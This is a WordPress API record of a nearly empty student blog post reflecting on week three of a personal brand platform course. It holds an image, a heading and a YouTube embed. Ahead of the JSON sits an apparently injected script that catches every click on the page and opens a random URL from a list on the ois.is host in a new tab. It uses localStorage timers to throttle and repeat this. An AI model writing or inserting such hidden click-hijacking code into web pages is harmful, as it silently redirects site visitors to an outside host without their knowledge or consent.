<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":974,"date":"2020-03-19T16:00:40","date_gmt":"2020-03-19T08:00:40","guid":{"rendered":"http:\/\/edu.secda.info\/tomoki0403\/?p=974"},"modified":"2020-03-19T16:42:41","modified_gmt":"2020-03-19T08:42:41","slug":"%e7%ac%ac%e4%b8%89%e9%80%b10319-%e5%80%8b%e4%ba%ba%e5%93%81%e7%89%8c%e5%b9%b3%e5%8f%b0%e5%bf%83%e5%be%97","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/tomoki0403\/?p=974","title":{"rendered":"\u7b2c\u4e09\u9031(0319) -\u500b\u4eba\u54c1\u724c\u5e73\u53f0\u5fc3\u5f97"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"974\" class=\"elementor elementor-974\" data-elementor-settings=\"[]\">\n\t\t\t<div class=\"elementor-inner\">\n\t\t\t\t<div class=\"elementor-section-wrap\">\n\t\t\t\t\t\t\t<section class=\"elementor-element elementor-element-7f1b3c0 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section\" data-id=\"7f1b3c0\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t<div class=\"elementor-row\">\n\t\t\t\t<div class=\"elementor-element elementor-element-7590358 elementor-column elementor-col-33 elementor-top-column\" data-id=\"7590358\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap  elementor-element-populated\">\n\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t<div class=\"elementor-element elementor-element-80d5adf elementor-widget elementor-widget-image\" data-id=\"80d5adf\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-image\">\n\t\t\t\t\t\t\t\t\t\t<img width=\"750\" height=\"750\" src=\"https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-800x800.png\" class=\"attachment-large size-large\" alt=\"\" loading=\"lazy\" srcset=\"https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-800x800.png 800w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-300x300.png 300w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-150x150.png 150w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-768x768.png 768w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-1536x1536.png 1536w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-270x270.png 270w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233-230x230.png 230w, https:\/\/edu.secda.info\/tomoki0403\/wp-content\/uploads\/2020\/03\/smiley_PNG36233.png 2000w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/>\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-0ef3380 elementor-column elementor-col-66 elementor-top-column\" data-id=\"0ef3380\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap  elementor-element-populated\">\n\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t<div class=\"elementor-element elementor-element-3c7e727 elementor-widget elementor-widget-heading\" data-id=\"3c7e727\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">\u5c0f\u6587<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-4c89a6a elementor-widget elementor-widget-text-editor\" data-id=\"4c89a6a\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-text-editor elementor-clearfix\"><p>\u8208\u8da3<\/p><p>\u5c08\u9577<\/p><\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-element elementor-element-e7937a6 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section\" data-id=\"e7937a6\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t<div class=\"elementor-row\">\n\t\t\t\t<div class=\"elementor-element elementor-element-d689289 elementor-column elementor-col-100 elementor-top-column\" data-id=\"d689289\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap  elementor-element-populated\">\n\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t<div class=\"elementor-element elementor-element-88d8d57 elementor-aspect-ratio-169 elementor-widget elementor-widget-video\" data-id=\"88d8d57\" data-element_type=\"widget\" data-settings=\"{&quot;aspect_ratio&quot;:&quot;169&quot;}\" data-widget_type=\"video.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-wrapper elementor-fit-aspect-ratio elementor-open-inline\">\n\t\t\t<iframe class=\"elementor-video-iframe\" allowfullscreen title=\"youtube Video Player\" src=\"https:\/\/www.youtube.com\/embed\/XHOmBV4js_E?feature=oembed&amp;start&amp;end&amp;wmode=opaque&amp;loop=0&amp;controls=1&amp;mute=0&amp;rel=0&amp;modestbranding=0\"><\/iframe>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t<\/div>\n\t\t\t<\/div>\n\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u5c0f\u6587 \u8208\u8da3 \u5c08\u9577<\/p>\n","protected":false},"author":17,"featured_media":931,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[25],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/posts\/974"}],"collection":[{"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=974"}],"version-history":[{"count":6,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/posts\/974\/revisions"}],"predecessor-version":[{"id":986,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/posts\/974\/revisions\/986"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=\/wp\/v2\/media\/931"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=974"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=974"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/tomoki0403\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=974"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}